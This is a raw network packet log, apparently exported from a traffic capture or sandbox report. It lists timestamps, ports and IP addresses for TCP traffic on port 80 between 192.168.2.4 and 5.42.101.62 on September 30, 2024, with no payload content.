Sep 30, 2024 12:22:27.997992992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.998009920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.998024940 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.998058081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.998086929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.998092890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.998122931 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.998126984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.998145103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.998162985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.998225927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.998508930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.998542070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.998568058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.998593092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.998601913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.998635054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.998652935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.998668909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.998697996 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.998714924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.020689011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.020725965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.020776033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.020777941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.020838976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.020873070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.020885944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.020909071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.020939112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.020972967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.021011114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.021015882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.021061897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.021095991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.021106005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.021130085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.021136999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.021162987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.021205902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.021213055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.021253109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.021294117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.027173996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.027230024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.027280092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.027280092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.027316093 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.027348995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.027359962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.027396917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.027403116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.027436972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.027472019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.027482033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.027658939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.027690887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.027699947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.027724981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.027730942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.027787924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.027833939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.027842045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.027887106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.027901888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.027936935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.027971029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.027981997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.029922009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.043814898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.043850899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.043875933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.043891907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.043903112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.043936014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.043987036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.043987036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.044024944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.044058084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.044083118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.044109106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.044121027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.044143915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.044178963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.044193983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.044214010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.044246912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.044266939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.044281006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.044296026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.044317007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.044336081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.044353008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.053998947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.054034948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.054088116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.054109097 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.054121017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.054133892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.054173946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.054208040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.054223061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.054243088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.054294109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.057571888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.057632923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.057662010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.057678938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.057713985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.057735920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.057759047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.057765007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.057801008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.057816029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.057861090 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.057971954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.058003902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.058029890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.058037996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.058053970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.058072090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.058104992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.058128119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.058167934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.058326960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.058377981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.058387041 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.058413029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.058444023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.058461905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.058476925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.058528900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.062288046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.062318087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.062350035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.062366962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.062400103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.062434912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.062469006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.062474966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.062498093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.062501907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.062536955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.062549114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.062582016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.062733889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.062786102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.062800884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.062835932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.062839031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.062872887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.062905073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.062932014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.062953949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.063522100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.063576937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.063579082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.063627005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.068576097 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.068608999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.068635941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.068648100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.068665028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.068691969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.068701029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.068734884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.068768978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.068779945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.068800926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.068835974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.068860054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.068913937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.084085941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.084140062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.084192038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.084225893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.084254026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.084259987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.084294081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.084345102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.084346056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.084378958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.084414005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.084429026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.084446907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.084470987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.084486961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.084547043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.084634066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.084666967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.084692955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.084712982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.084718943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.084753036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.084774971 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.084799051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.084861040 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.084894896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.084944963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.084959030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.084986925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.084996939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.085031033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.085042000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.085063934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.085081100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.085113049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.085184097 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.085236073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.085242033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.085270882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.085283995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.085321903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.085323095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.085355043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.085375071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.085387945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.085393906 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.085423946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.085439920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.085474968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.085553885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.085587025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.085607052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.085630894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.107834101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.107886076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.107918978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.107953072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.107981920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.108002901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.108032942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.108038902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.108052969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.108083010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.108088970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.108124018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.108155012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.108166933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.108190060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.108201027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.108223915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.108258963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.108268023 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.108505964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.108556986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.108557940 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.111438990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.114180088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.114264965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.114284992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.114330053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.114339113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.114383936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.114389896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.114423037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.114433050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.114456892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.114465952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.114490032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.114499092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.114527941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.114533901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.114576101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.114578962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.114628077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.114629984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.114662886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.114671946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.114695072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.114706993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.114728928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.114741087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.114789009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.114826918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.114876032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.114876986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.114928007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.130886078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.130942106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.130994081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.131028891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.131042957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.131062031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.131062031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.131062984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.131098032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.131110907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.131145000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.131150007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.131181955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.131196976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.131217003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.131230116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.131252050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.131268024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.131284952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.131297112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.131319046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.131328106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.131352901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.131361961 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.131398916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.131572008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.131623983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.140902996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.140932083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.140964985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.140965939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.140989065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.141019106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.141052961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.141072989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.141086102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.141093016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.141120911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.141155005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.141170979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.141319036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.336663008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.336776972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.336848021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.336846113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.336847067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.336900949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.336903095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.336954117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.336955070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.336987972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337016106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337023973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.337043047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.337074041 CEST	52534	80	192.168.2.4	5.42.101.62
